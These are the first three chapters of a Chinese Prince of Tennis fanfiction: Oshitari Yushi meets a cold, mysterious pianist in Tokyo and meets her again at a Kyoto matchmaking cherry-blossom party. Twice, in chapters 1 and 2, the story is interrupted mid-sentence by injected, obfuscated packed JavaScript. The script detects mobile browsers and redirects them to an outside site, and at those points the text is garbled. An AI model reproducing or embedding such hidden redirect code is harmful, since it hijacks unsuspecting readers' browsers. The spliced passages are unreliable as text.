《【网王】追月计划》 1. 第 1 章 东京三得利音乐厅 后台的走廊铺着厚地毯,高跟鞋的声音本该被吸收殆尽。 但忍足侑士还是听见了。 清脆,稳定,每一步的节奏都像节拍器般准确,他下意识停下调整琴弓的动作,抬头。 一个背影。 白色丝绸裁成流畅的鱼尾裙摆,沿着脊沟向上,是精心设计的镂空,被黑如鸦羽的长发半掩。 衣料上凸起的银色丝线刺绣,是枝蔓缠绕的玉兰,在后台不算明亮的灯光下,流淌着一种暗雅的微光。 中式礼服,他脑子里跳出这个判断。 那身影在转角稍停,似乎迟疑该往哪去,然后她转过头。 目光撞上的瞬间,忍足理解了所谓“中式美人”的具体含义。 不是浮于表面的丹凤眼或樱桃唇,是眉眼的走势,温婉又疏离的弧度;是瓷白的肤色,衬得唇上那点红格外醒目;是修长脖颈和流畅肩线勾勒出的静气。 她看到他,那双沁着些许疑惑的眼眸微动,像冷寂的夜里慢慢研开的墨。 “抱歉,我迷路了。”她的声音比想象中低,带着一种疏离,咬字清晰,“去观众席是走这里吗?” 忍足发现自己无意识地站直了。 他推了推眼镜,嘴角习惯性弯起演出用的温和笑容,指向她来路的相反方向:“这里是后台。” “观众入口的话,请从这边过去,第二个路口右转会有工作人员引导。” 她微微颔首,那点红色唇瓣抿出一个极淡的、礼节性的笑,“谢谢。” 她从他身侧走过。 气流微动,一股极其清淡的冷香拂过他的嗅觉,像是雪后初霁的松林,带着未融冰雪的凉意和木质特有的干燥凛冽,尾调有一丝极微弱的、几乎难以捕捉的烟熏感。 很少有女孩子用这么冷的香水,忍足想。 几乎不像香水,更像她自身携带的气息。 他下意识回头想再看一眼,那抹白色的身影已利落地消失在走廊拐角。 空气里只剩那一缕冰冷的雪松,缠绕不散。 观众席的灯光暗下,舞台亮起。 忍足的小提琴琴弓擦过琴弦,拉出一个饱满的长音。在一片和谐流淌的乐声里,他的视线若有似无地扫过台下。 灯光明暗交界处,她坐在靠前的位置。 侧影被舞台的光勾勒出一圈模糊的光晕,看不太真切,只能捕捉到她听得极为专注,姿态却依旧放松优雅,指尖偶尔会无意识地在扶手上轻轻一点,像在敲击某个无声的韵律。 中场休息时,他在幕布边缘无意间向下望。 暖黄的灯光落在她眼里,映出一点浅淡的光泽,那眼神依旧平静,却比在后台时多了一丝不易察觉的愉悦。 似乎察觉到有人注视,她眼波微抬,掠过舞台方向。 忍足立刻后退半步,隐入阴影。 心里失笑。 真是……不像自己。 演出圆满结束。 在如潮的掌声中,所有演出人员上台鞠躬谢幕。 忍足跟着队伍,目光再次精准地找到那个位置。 空了。 心里那点莫名的、细微的期待,像被针戳破的气球,悄无声息地瘪了下去。 他维持着无可挑剔的笑容,再次躬身。 退回后台,喧闹和恭喜声扑面而来。他应付了几句,摘下眼镜捏了捏鼻梁,准备去卸妆换衣服。 走廊转角,几乎重现了几个小时前的场景。 她站在那里,微仰着头看墙上的演出海报,听到脚步声,她转过头。 四目再次相对。 她眼里似乎掠过一丝极淡的惊讶,随即又化为那种平静的礼貌。她对他微微点头致意,像是为又一次偶遇打招呼。 忍足停下脚步,空气里又萦绕起那股冷冽的雪松调,比之前更清晰了些。 他鬼使神差地开口,声音里带着自己都没察觉到的、比平时更低的温和:“在找什么吗?还是又迷路了?” 她闻言,摇了摇头,顿了顿补充道,“你的小提琴拉得很好。” 很客套的夸奖,忍足却觉得心情莫名好了起来。 “谢谢。”他重新戴上眼镜,镜片后的目光带着笑意,“是雪松吗?” 她愣了一下,才反应过来他指的是什么:“嗯。你很敏锐。” “因为很特别。”忍足他斟酌了一下词句,“像……冬天的森林。” “不冷吗?” “不会。”忍足看着她,“很适合你。” 短暂的沉默在走廊里弥漫,却不显尴尬,只有那缕雪松香无声流淌。 女孩先开口,对他颔首:“再见。” “再见。”忍足站在原地。 他深吸一口气,冰冷的木质香终于彻底缠绕上来,盘踞不去。 他想,或许该去查查,这种香水到底是什么牌子。 后台的喧嚣像退潮的海水,渐渐平息。 忍足换回了舒适的针织衫和休闲裤,提琴盒斜背在身后。他与最后几位道别的乐团成员颔首致意,推开厚重的隔音门,走向通往外部大厅的走廊。 寂静扑面而来。 然后,极其细微地,一丝钢琴声钻入他的耳朵。 不是录音棚里出来的那种完美无瑕的电子音,而是真实的、带着木质共鸣和金属弦颤的物理声响。 旋律缓慢,音符之间有着恰到好处的留白,织出一张悠远而哀愁的网,在空旷的演出厅里若有若无地飘荡。 这个时间,工作人员也该清场了,谁还在舞台上? 他脚步顿了顿,几乎是循着本能,像被那无形的丝线牵引,放轻了步子,转向通往观众席的入口。 巨大的音乐厅内只亮了角落几盏昏暗的清洁灯,穹顶隐没在深邃的黑暗里。 所有的繁华、掌声、聚焦的光束都已散去,留下一个庞大而寂静的空壳。 唯一的光源,是一束孤零零的顶灯,打在舞台中央那架漆黑的斯坦威钢琴上。 也打在那个坐在琴凳上的白色身影上。 是她。 忍足在入口处的阴影里停住脚步,屏住了呼吸。 她微微低着头,侧脸的线条在灯光下显得愈发清晰流畅,长睫垂下一小片阴影。 十指在黑白琴键上从容起落,姿态不像是在用力敲击,更像是在抚摸、在引导,让那些饱含情绪的音响自己流淌出来。 他仔细倾听。 舒伯特?不是。 肖邦?也不像。 每一个乐句都像一声克制至极的叹息,悲伤被仔细地包裹在优雅而跳跃的节奏里。 那份沉重和寂寥,却无法抑制地从音符的缝隙中满溢出来,弥漫在整个空旷的剧场,比任何嚎啕大哭都更令人心头发紧。 忍足听过无数大师的演奏,熟练的、精准的、激情澎湃的。但很少有哪一次,像此刻这样,被一种近乎原始的、未经雕琢的真诚所击中。 这曲子甚至有些地方的转调显得生涩,指法也并非无懈可击,可里面灌注的情感,却沉重得让他这个旁观者都觉得胸口发闷。 她完全沉浸在自己的世界里,根本不在乎是否有听众。 白色的礼服在灯光下泛着柔和的光,像月光下独自开放的一株昙花,美丽却转瞬即逝,带着一种注定要凋零的哀伤。 最后一个音符落下,她的手指没有立刻离开琴键,而是轻轻按在那里,仿佛在感受最后一丝余振消失在空气里。 她维持着那个姿势,良久,才极其轻微地吁了一口气,肩膀几不可察地放松下来。 寂静重新笼罩了一切,比之前更加深邃。 就在这时,她似乎感应到了什么,猛地转过头,视线精准地投向忍足所在的阴影处。 目光隔空交汇。 忍足的心脏莫名一跳,像是偷窥到了不该看的秘密被当场抓获。他下意识想后退,却发现自己动弹不得。 她的眼睛里没有了之前的疑惑或礼貌性的笑意,也没有被打扰的惊慌,只是一种深沉的、几乎看不到底的冰冷,仿佛刚才那倾泻了巨大情感的人并不是她。 短暂的死寂。 忍足清了清嗓子,从阴影里走出来,靴子踩在柔软的地毯上,没有发出一点声音。 他鼓了鼓掌,掌声在空旷的大厅里显得单薄而突兀,却足够真诚。 “很美。”他走到观众席第一排的前方,看着舞台上的她,声音不高,却清晰地传了过去,“是我没听过的曲子,你的创作?” 她看着他,那层平静的外壳似乎波动了一下,像是石子投入深潭,但很快又恢复了原状。 她没有回答是或不是,只是微微偏了下头,灯光滑过她白皙的脖颈。 单薄的掌声消散在巨大的空间里。 顶灯的光晕在她周身勾勒出一圈朦胧的轮廓,让她看起来有些不真实。 她好像一轮月亮。 她放在琴键上的手指轻轻动了一下,像是被惊扰的蝶翼。 沉默了片刻,她才开口,声音比之前更低沉些,还残留着弹奏时投入的情绪:“不。是我朋友改编的曲子。” “叫《诀别书》。” “《诀别书》……”忍足低声重复了一遍这个词语,舌尖尝到一丝决绝的意味,“很贴切。它听起来,确实像一场盛大的告别。” “你的钢琴弹得很好。”忍足夸赞她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526603|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“过奖了。”她微微摇头,视线垂落,看着黑白琴键,“我并不擅长钢琴。” 语气平淡,听不出是谦虚还是陈述事实。 “是吗?”忍足微微挑眉,镜片后的眼睛里闪过一丝讶异,“可你的演奏充满了感情。技巧或许可以锤炼,但这种共鸣很难得。” 她终于抬起眼,目光再次落在他身上,昏暗的光线下,她的眼神显得有些难以捉摸。 指尖无意识地在某个琴键上按了一下,发出一个孤单的音符。 “你刚才在台上拉的那支曲子,中间有几个小节,和这首《诀别书》的旋律有一点微妙的相似。” “听着听着,就忍不住想弹它了。” 忍足怔住了,他迅速在脑中回放自己今晚的独奏段落。 是那一段略带忧郁的即兴表演,他自己都未曾留意那其中是否潜藏着别的音乐的影子。 “原来如此。”他笑了起来,这次是真正感到有趣和惊奇的笑容,“所以,是我的演奏,引来了你这曲子?” “可以这么说。”她承认得很干脆,随即从琴凳上站起身。 白色的裙摆如水银泻地,流畅地垂下,颔首冷漠地说着,“它缠着我了,不弹出来会一直想着。” 她抬手,轻轻合上了钢琴的键盘盖,一声沉闷而决绝的轻响,为刚才那场私人的演奏画上了句号。 忍足觉得胸口被某种东西轻轻撞了一下。 他看着她走下舞台旁的小阶梯,走向他所在的方向。 “那我是否该为此负责?”他半开玩笑地说,目光却没有离开她。 她在离他几步远的地方停下,“负什么责?” “比如,请你喝一杯热茶?”忍足顺势提议,语气轻松自然,仿佛这是个再寻常不过的后续,“附近有家不错的茶室,这个时间还开着。” 他巧妙地将两次“偶遇”和一场独奏联系在了一起,编织成一个无法轻易拒绝的邀请。 她看着他,昏暗中,她的眼里似乎掠过一丝极细微的波动,像是平静湖面被风吹起的涟漪。 那缕冰冷的雪松香,在空气中若有若无地缠绕着。 “你是在搭讪吗?” 她微微眯起眼睛,灯光在她瓷白的脸颊上投下阴影,眼里没有任何戏谑或羞涩。反而只有一种近乎审视的冰冷,甚至带着不加掩饰的不悦。 “对一个第一次见面的陌生女生,就邀请人家喝茶?” 语调平平,没有起伏,却比任何尖锐的指责都更让忍足语塞。 她的话像一颗小石子,精准地投入忍足一贯从容的湖面,激起了一圈意想不到的涟漪。 他确实被问住了。 向来游刃有余、总是被环绕和被追逐的忍足侑士,第一次被人如此直白、甚至带点冒犯地质疑动机。 那种惯常的、几乎成为本能的笑意僵在嘴角。 他下意识想推眼镜,手指动了动又放下。 “不,我并不是……”他试图解释,声音里带上了一丝难得的急促,想要剖白那瞬间被音乐打动而发出的邀请,并非轻浮的套路。 他甚至想说,只是觉得那首曲子太悲伤,或许需要一点温暖的东西来中和。 但她的眼神明确地告诉他,她并不需要他的解释。 在他组织好语言之前,她已经极其轻微地摇了一下头,像是失去了聆听的兴趣。 然后,毫不犹豫地转身。 白色的裙摆划出一道利落的弧线,那股冰冷的雪松味随着她的动作骤然浓郁了一瞬,又迅速抽离,仿佛在决绝地斩断刚才那短暂交织的空气。 高跟鞋敲在地毯上,发出沉闷而迅速的笃笃声,这一次,节奏里没有了之前的从容,只有明确的离开的意味。 忍足下意识向前迈了半步,伸出手,却只抓住了一片流动的空气和那迅速淡去的冷香。 “等等……”他的话出口时已经晚了。 她的背影没有丝毫停顿,径直穿过昏暗的座椅之间的通道,走向出口的光亮处,一次也没有回头。 忍足站在原地,手臂还维持着微微抬起的可笑姿势。 空旷的音乐厅像一张巨大的嘴,吞噬了那脚步声,也吞噬了他未出口的话。 一种前所未有的、混合着错愕、尴尬和强烈不甘的情绪涌了上来。 他甚至能听到自己心脏有些不稳的跳动声,在过分寂静的空间里擂鼓般清晰。 他看着那出口的光晕,仿佛还能看到那一抹白色消失的残影。 指尖无意识地蜷缩起来。 至少…… 想知道你的名字。 这个念头清晰地浮现在脑海,带着一种灼人的遗憾,烙在了这个夜晚的结尾。 2. 第 2 章 房间的隔音很好,将东京夜晚的喧嚣彻底隔绝在外。 忍足陷在柔软的床垫里,手机屏幕的光映亮了他没什么表情的脸。 指尖在冰冷的玻璃屏上滑动,搜索引擎的结果一行行跳出。 「卓文君」「《白头吟》」「《诀别书》」…… 汉字夹杂着日文释义,勾勒出一个遥远而决绝的故事。 西汉才女,当垆卖酒,最终以一首数字诗挽回变心的夫君,但那份挽回背后,是心如死灰的诀别书。 然后,是那首现代的同名钢琴曲。 评论区的字句像细小的针,一下下刺中他脑海里那个挥之不去的白色身影。 「这不是悲伤,是悲伤换来的欢快,是看透后的释然。」 「每一个升调都不是喜悦,是回眸时最后一次不舍的凝视。」 「她不是在告别他,是在告别那个曾经深爱他的自己。」 冰冷的屏幕光似乎都带上了温度,灼着他的指尖。 那些文字奇异地与舞台上那个孤绝的侧影,以及那浸透着巨大悲伤却克制无比的琴音重叠起来。 她说不擅长钢琴,可那份“不擅长”里的情感,却比任何精湛的技巧都更具穿透力。 他点开音乐播放器,找到钢琴版的《诀别书》。 前奏流泻而出,欢快的音符演奏悲伤的故事,一下下敲在寂静的房间里,也敲在他的心口。 和他记忆中她弹奏的曲子,在好几个片段都有所不同,更精致更流畅,却奇异地失去了那份生涩而直抵人心的力量。 但旋律的核心没变。 那藏在每个升调里盘旋而上的哀恸,最终归于沉寂广袤的虚无。 忍足闭上眼。 白色的礼服。 冰冷的雪松。 转过来时疏离的眉眼。 微微蹙起的眉头。 质问时平淡无波的语调。 决绝离开的背影。 画面一帧帧闪过,最后定格在那双沉浸在音乐里、仿佛蒙着一层水光的平静眼眸。 音乐进行到中段,那几个据说与他即兴表演相似的小节浮现出来。 他猛地睁开眼。 一种无法抑制的冲动攫住了他。 起身走到墙边打开琴盒,天鹅绒衬里中,小提琴的曲线在昏暗光线下泛着温润的光泽。拿起琴弓,松香粉的气息淡淡飘散。 回到房间中央,播放器里的钢琴曲仍在循环。 他深吸一口气,将琴架在下颌。 闭上眼睛,倾听,等待。 当那个熟悉的、带着微妙转调的小节再次来临的瞬间,他的琴弓沉入了弦。 醇厚而略带沙哑的弦音骤然加入,并非模仿,而是缠绕、是回应、是追问。 小提琴的声音丝绸般滑入钢琴音符的间隙,时而低吟附和,时而拔高盘旋,像一场无声的对话,一场跨越了语言和时空的共舞。 他拉得毫无章法,抛开了所有练习过的技巧和乐理,只是追逐着那股盘旋在心口的情绪,那股被一首曲子、一个陌生人勾起的、陌生而汹涌的潮汐。 琴弓有时压得太重,发出近乎呜咽的摩擦声;有时又轻盈掠过,带出一连串颤抖的、如同叹息的泛音。 他试图用四根弦捕捉那雪松的冷冽,捕捉那白色背影的决绝,捕捉那看似平静眼底深藏的波澜。 钢琴的旋律在音响里不断重复,而他的小提琴即兴地缠绕着它,时而贴合,时而偏离,像一场不肯罢休的探寻,一场固执的挽留。 这间漆黑的房间里,进行着一场只为一人、却无人聆听的合奏。 直到窗外天际泛起模糊的灰白,循环不知第几遍的钢琴曲终于被按停。 忍足放下发酸的手臂,小提琴的琴身还残留着温热的触感。房间里只剩下绝对的寂静,和鼻腔里若有似无、仿佛从未散去的冷香。 他彻夜未眠。 半个月的光景,像被调快了倍速。 东京的樱花开到了极致,空气里漂浮着一种甜腻又脆弱的气息。 忍足侑士的生活轨迹精确得如同钟摆,医学部的教室、实验室、图书馆,然后是网球场,他和迹部景吾仍旧保持着定期对决的习惯。 汗水砸在硬地球场上的声音,网球撕裂空气的尖啸,迹部毫不留情的“沉醉在本大爷的美技之下吧”。 这些熟悉到刻入骨髓的元素,能短暂地将他从某种持续不断的、低鸣般的思绪里拉扯出来。 但仅限那一刻。 回到家,关上房门,世界便迅速安静下来,只剩下一种无形的空荡。 手指几乎是无意识地,就会点开那个播放列表。 钢琴版的《诀别书》成为他房间里新的背景音,循环往复。 他开始尝试将它改编成小提琴谱。 桌上散落着涂改得乱七八糟的五线谱纸,揉成一团的废稿扔了一地。 琴弦上试验出的旋律片段时而哀戚,时而激越,总是不对,总是差那么一点无法捕捉到的神韵。 “小侑。” 姐姐忍足惠里奈某天终于忍不住敲开他的门,皱着眉头,“你能不能换一首?全家人的耳朵都要听出茧子了,太悲伤了。” 他只是推了推眼镜,含糊地应了一声,音量却调低了些。 曲子依旧在放,琴弓依旧在弦上摩擦,试图抓住那个冰冷的、雪松味的月亮影子。 这天晚上,刚结束和迹部一场酣畅淋漓的练习赛,忍足拖着有些酸软的胳膊走进浴室。 热水冲刷着疲惫,雾气氤氲中,那旋律又不请自来地在脑中自动播放。 手机在置物架上嗡嗡震动。 他擦干手拿起,屏幕上跳动着【迹部景吾】的名字。 “喂?” “忍足,”迹部的声音透过听筒传来,背景安静,显然已经回到了他那奢华无比的本宅,“周末的安排,别忘了。” 忍足把毛巾搭在湿发上,另一只手撑在洗手台边,镜子里映出他微微蹙眉的脸,水珠顺着发梢滴落。 “啊,你说京都那个赏樱会?”他按了按眉心,语气带着一丝不易察觉的倦怠,“父亲昨天又特意‘提醒’过我一次了。” “说了三次是‘重要社交场合’。” 电话那头传来迹部一声轻哼,带着心照不宣的嘲弄:“啊嗯?华丽的措辞。” “本质上不过是一场精心策划的、为所谓门当户对的年轻一代提供的相亲联谊罢了。” “看破不说破啊,迹部。”忍足苦笑一下。 他们这个圈子里,这种事情司空见惯。 所谓的赏花、茶会、音乐会,剥开光鲜的外壳,内核往往都是资源与血脉的交换与巩固。身为忍足家和迹部家的继承人,他们早有这份觉悟。 “本大爷对这种事没兴趣,”迹部的语气傲然依旧,但细微处也藏着一丝无可奈何,“但父母的压力不可违抗。” “就当是去欣赏一下京都晚樱的垂死挣扎,顺便品尝一下俵屋的怀石料理。” “用美食来安慰自己吗?倒也是个办法。”忍足扯了扯嘴角,笑意却未达眼底。 他看着镜中的自己,额发湿漉,镜片上蒙着一层白雾,显得有些陌生。 脑海里却不合时宜地闪过另一张脸,清冷,美丽,带着冰冷的疏离感。 “周六上午,司机会去接你。”迹部干脆地结束了通话。 “知道了。” 放下手机,浴室里的水汽渐渐散去,镜面变得清晰,映出他恢复平静却略显空洞的表情。 窗外传来隐约的车流声。 《诀别书》的旋律还在脑子里顽固地盘旋,与即将到来的、充斥着虚假寒暄和刻意打量周末交织在一起,产生一种奇异的割裂感。 他深吸一口气,指尖无意识地划过冰冷的玻璃台面。 京都 晚樱的确到了“垂死挣扎”的绚烂时刻,重重叠叠的粉白色花云压低了枝头,几乎要承受不住自身重量。 风一过,便是簌簌扬扬的花雨,落在精心打理的苔庭、青石板路,以及来往人们华贵的衣襟上。 空气里弥漫着浓郁到近乎糜烂的花香,混合着高级线香、茶汤和点心甜腻的气息。 迹部景吾和忍足侑士身着定纹的和服,站在一众世家子弟中,如同画中走出的人物。 迹部的紫灰色头发与银色和服相得益彰,举手投足间是毫不掩饰的华丽与高傲。忍足则是一身低调的深蓝,衬得他身形愈发修长,镜片后的目光习惯性地带着几分平淡的观察,嘴角噙着恰到好处的浅笑,应付着周遭心照不宣的寒暄。 一起没有逃过家族重任的,还有幸村精市和观月初。 幸村精市披着外套,微笑着与旁人交谈,气质温润却自带不容忽视的气场。观月初则在不远处,指尖卷着发梢,眼神挑剔地扫过人群,不知又在算计着什么。 这是一场无声的展览。 展品是年轻的家世、容貌与才学。每个人都彬彬有礼,言语得体,维持着这个阶层应有的、光滑无瑕的表面平静。 很快,女眷们到了。 如同被春风骤然吹开的百花园,各式各样精美刺绣的振袖和服晃花了人眼。 娇柔的浅粉、明媚的鹅黄、清新的水绿……少女们手持桧扇,步履轻盈,眼神却像初生的小鹿,带着怯生生的期盼与小心翼翼的打量,飞快地掠过那些被标记为“优秀”的年轻男子们,脸颊泛起与樱花同色的红晕。 气氛变得更加微妙而紧绷,空气里漂浮着无形的计算与衡量。 就在这时,最后一辆黑色的高级轿车无声地滑到近前停下。 车门打开,先下来的是一位穿着传统羽织袴、神色精干的接近六十岁的管家,他恭敬地侧身等候。 然后,一只穿着白色足袋、踏着黑漆木屐的脚踏了出来。 紧接着,一个身影完全探出车外,站直。 周遭原本细碎的交谈声,像是被一把无形的刀骤然切断。 死寂。 连花瓣飘落的声音都清晰可闻。 她穿着一身黑色和服。 这种通常只在最正式、甚至带点哀悼意味场合穿着的极致黑色,此刻却以一种极具冲击力的方式,压过了所有绚烂春色。 黑色振袖上,用极度奢华的金线、银线和浓白的丝线,满绣着盛放的山百合。花朵恣意怒放,枝蔓强势地铺满整个衣裾,带着一种近乎嚣张的、生命力勃发的美感。 极致浓重的黑,极致繁复华丽的白金刺绣。 而穿着这身衣服的人,却有一张极其清冷的脸。 肤色冷白,眉眼古典,像被冰封住的远山,不带丝毫暖意。黑发一丝不苟地挽起,露出清晰优美的脖颈线条。 她站在那里,眼神平静地扫过眼前这片骤然安静下来的“百花园”,无喜无悲,仿佛一个误入彩色默片的黑白剪影。 巨大的反差,绝对的吸睛。 死寂之后,是瞬间爆发的、压抑不住的窃窃私语。 “黑色…?” “这种场合,怎么会穿黑色?” “是哪一家的小姐?从未见过……” “太失礼了吧……” 在日本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526604|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,如此年轻女性在赏樱宴上身着纯黑和服,几乎是一种不言而喻的禁忌。 迹部的眉头几不可见地挑了一下。幸村依旧微笑着,眼神却深了些。观月初卷着头发的手指停了下来,眼中闪过浓烈的兴味。 那位先下车的管家上前一步,脸上带着圆滑而训练有素的恭敬笑容,声音不大,却清晰地传入在场每一位竖起耳朵的人耳中:“失礼了。敝姓早乙女。” “我家小姐,如月家行二,名遥。初次见面,请多关照。” 如月。 这个词像一块冰投入油锅,瞬间让所有私语再次冻结。 掌管着日本极道半壁江山的如月家? 那个神秘而令人畏惧的庞然大物? 随即,更多细节在年长一些的人记忆中苏醒:如月家二房的如月彦二先生,多年前执意娶了一位中国女子,并远渡重洋跟随她定居中国,几乎脱离了家族核心。 原来,这就是那位传说中的、养在中国的二小姐。 所有的目光,惊疑、审视、好奇、畏惧、排斥如同实质般聚焦在她身上。 忍足侑士站在迹部身侧,隔着纷扬的樱花和涌动的人群,看着她。 如月遥。 原来她叫如月遥。 心脏像是被什么东西猛地攥紧,又骤然松开。 半个月来盘旋不去的旋律、冰冷的雪松香气、舞台上孤绝的侧影、质问时冰冷的语调,所有碎片在这一刻呼啸着汇聚,有了一个清晰的名字和轮廓。 她平静地站在那里,承受着所有目光的洗礼。 黑色的和服像一片深不见底的夜,上面嚣张的百合是她唯一的锋芒。 她似乎对周遭的一切反应都毫不在意,那双眼睛依旧平静,甚至比在东京音乐厅时更加冰冷,更加遥远。 仿佛她不是来参加一场赏樱相亲会,而是来出席一场与己无关的葬礼。 忍足推了推眼镜,镜片反射着樱花纷乱的光影。 他想,原来不止是香水冰冷。 连存在本身,都带着能冻结整个春天的寒意。 “如月”这个姓氏带来的无形震动,在训练有素的侍者和主家圆滑的引导下,被强行按捺下去。 空气重新开始流动,却像是凝了一层薄冰,表面的言笑晏晏下,是无数道暗中打量、评估、甚至忌惮的视线。 众人被引向早已布置好的赏花席。 精致的榻榻米席位沿着最佳的观樱路径铺设,矮几上摆着应季的茶点和刚刚打好的、泡沫丰富的抹茶。 迹部与忍足自然被引到了靠近主位的位置。 忍足保持着无可挑剔的礼仪,跪坐下来,和服的下摆整理得一丝褶皱也无,目光却不受控制地,穿过交错的人影,落向那个黑色的身影。 她被引到了稍靠后一些、但视野绝佳的位置。 显然,主办方对她的安排极为谨慎,既不敢怠慢,似乎也不愿让她过于靠近中心。 她对此似乎毫不在意,姿态标准地跪坐,背脊挺得笔直,像一株生长在墨色池塘里的黑色水仙,与周围那些娇羞明媚的“花朵”格格不入。 侍者为她奉上茶点时,她微微颔首,动作流畅自然,带着一种并非刻意训练、而是骨子里透出的清冷仪态。 就在她抬起眼的瞬间,视线似乎无意识地扫过全场。 掠过那些或好奇或畏惧的脸,掠过迹部华丽的身影,然后落在了忍足侑士身上。 极其轻微的。 一个几乎无法被捕捉的停顿。 可能只有零点几秒。 她的眼神没有波动,没有惊讶,没有认出故人的恍然,就只是那么一顿,像是扫描仪读取条形码时遇到了一处极细微的瑕疵,需要多耗费百万分之一秒的处理时间。 然后,视线平静无波地移开,落在她面前的茶碗上,仿佛刚才那刹那的停滞从未发生。 但忍足捕捉到了。 就在那视线停顿的瞬间,他感觉自己的心脏像是被一只无形的手狠狠攥了一下,骤然停止供血,随即又以一种近乎狂乱的节奏猛烈撞击着胸腔。 咚咚——咚咚—— 血液轰然涌向四肢百骸,耳膜鼓噪,连指尖都泛起微麻。 她记得他。 即使可能只记得那是一个在后台有过一面之缘、并且进行了拙劣搭讪的轻浮家伙,但她记得这张脸。 这个认知让他胸腔里涌起一股近乎荒谬的狂喜,像气泡水一样滋滋地冒着泡,顶得他喉头发紧。 他下意识地扶了扶眼镜,试图用冰凉的镜框镇一镇突然有些发热的耳根。 心底旋即又泛起一丝自嘲。 忍足侑士啊忍足侑士,你什么时候变得这么没出息了? 仅仅是被一个只见过两次面、还对你明显不假辞色的女孩子“记得”,就足以让你心律失常用力过猛得像个国中生? 可是…… 嘴角却不受控制地,极轻微地向上弯起一个真实的弧度,打破了那张习惯性维持的、温和而疏离的面具。 他垂下眼,看着白瓷茶碗里浓绿的抹茶泡沫一点点消散,心情却像窗外被春风吹乱的樱吹雪,纷扬雀跃。 这次被迹部形容为“无聊”、“徒具形式”、“浪费本大爷时间”的赏花会, 真好。 花瓣落在他的肩头,也落在他突然变得轻快的心跳上。 他又遇见她了。 而且,知道了她的名字。 如月遥。 他在心里无声地咀嚼着这三个字的发音,每一个音节都像裹着冰屑,却又奇异地烫帖在心尖上。 3. 第 3 章 主家的长者声音温和,如同浸润了蜜的温水,流畅地进行着冗长而毫无新意的场面话。 赞美樱花,追忆往昔,展望未来,字字句句都在不动声色地强调着在场诸位的家世渊源与年轻一代的出色,编织着一张无形的关系网。 暗地里的视线交锋却从未停止。 家长们用最含蓄的笑容交换着对彼此子女的评估,年轻人们则努力维持着得体,眼神却忍不住飘向可能的目标,或避开不想要的关注。 这是一场无声的、优雅的狩猎游戏。 为了照顾那位显然格格不入的新面孔,主家话锋一转,笑容可掬地看向如月遥: “如月小姐初来乍到,想必对大家还不熟悉。” “请允许我为您简单介绍一下在场的诸位青年才俊和名门淑女。” 如月遥微微颔首,姿态无可挑剔,脸上却依旧是没有温度的平静,仿佛只是在履行一项必要的程序。 介绍开始了。 一个个名字和头衔被报出,伴随着家族企业的名称或显赫的地位。 被点到名的人纷纷向如月遥点头致意,她也回以同样礼节性的、浅淡的颔首,眼神扫过对方,如同阅读一份枯燥的名单。 “这位是迹部家的景吾君,想必如月小姐也早有耳闻。” 迹部抬手抚过泪痣,唇角勾起一个华丽的弧度,算是打过招呼。如月遥的目光在他身上停留的时间并未比别人更长。 “这位是忍足家的侑士君,目前在东大医学部深造,将来必定是日本医学界的翘楚。” 当主家介绍到忍足时,他抬起眼,恰好对上如月遥投过来的视线。 她的目光在他脸上停留了一瞬。 依旧没有什么情绪,没有惊讶,没有熟稔,甚至比刚才看其他人时,似乎更淡了些,像是刻意抹去了那百万分之一秒的停顿所带来的任何痕迹。 然后,那双清冷的眸子便若无其事地移开,转向了下一位等待被介绍的人,仿佛“忍足侑士”这个名字和“东大医学部”这个头衔,与之前的任何一个并无不同。 忍足刚刚平复些许的心跳又是一滞,随即泛起一丝难以言喻的涩意。 果然,在她这里,自己大概真的没什么好印象。 介绍在继续,他却有些心不在焉。 直到主家再次向如月遥开口,语气带着恰到好处的好奇:“如月小姐这次回日本,是打算长住吗?” 如月遥放下手中的茶盏,声音平稳清晰,像玉珠落盘:“我转入了东京大学,接下来会在日本完成学业。” 东京大学。 这四个字像一道闪电,猝不及防地劈中了忍足。 他猛地抬起头,镜片后的眼睛微微睁大,难以置信地看向那个穿着黑色和服的身影。 她竟然和他同一所学校? 纷乱的记忆碎片瞬间涌上心头。 半个月前,迹部似乎确实随口提过一句,今年来了批挺厉害的留学生,还有个背景有点特别的…… 当时他全部心思都沉浸在医学部繁重的课业和那首抓不住的曲调里,根本没往心里去。 巨大的懊悔如同潮水般瞬间将他淹没。 他竟然就这么错过了! 错过了整整半个月! 在同一所校园里,甚至可能擦肩而过无数次,他却毫无所知。 如果、如果他当时稍微留意一下,是不是就能更早遇见? 是不是就不会浪费这半个月徒劳的消磨和猜测? 一种近乎痛惜的情绪攥紧了他的心脏,让他呼吸都为之一窒。 而如月遥的解释还在继续,语气平淡得像在陈述天气预报:“家兄认为,今天的宴会上有许多同龄的优秀人士,我来参加可以更快地熟悉日本的环境。” 她顿了顿,声音里听不出丝毫情绪,“算是融入的必要步骤。” 她说得官方而冷静,仿佛只是在复述别人安排好的台词,将自己完全剥离在外。 忍足却完全听不进去了。 他的脑海里只剩下“东京大学”四个字在反复回响,伴随着强烈的遗憾和一种重新燃起的灼人希望。 原来,他们之间的距离,从来都不是他想象的那样遥远。 原来,命运给的线索,早已埋下,只是他迟钝地错过了开场。 他握紧了放在膝上的手,指尖微微发烫。 这一次,他不会再错过了。 赏花宴进行到中途,气氛依旧保持着那种精心修饰过的、略带僵硬的和谐。 主家示意稍作休息,人群便自然地流动起来。 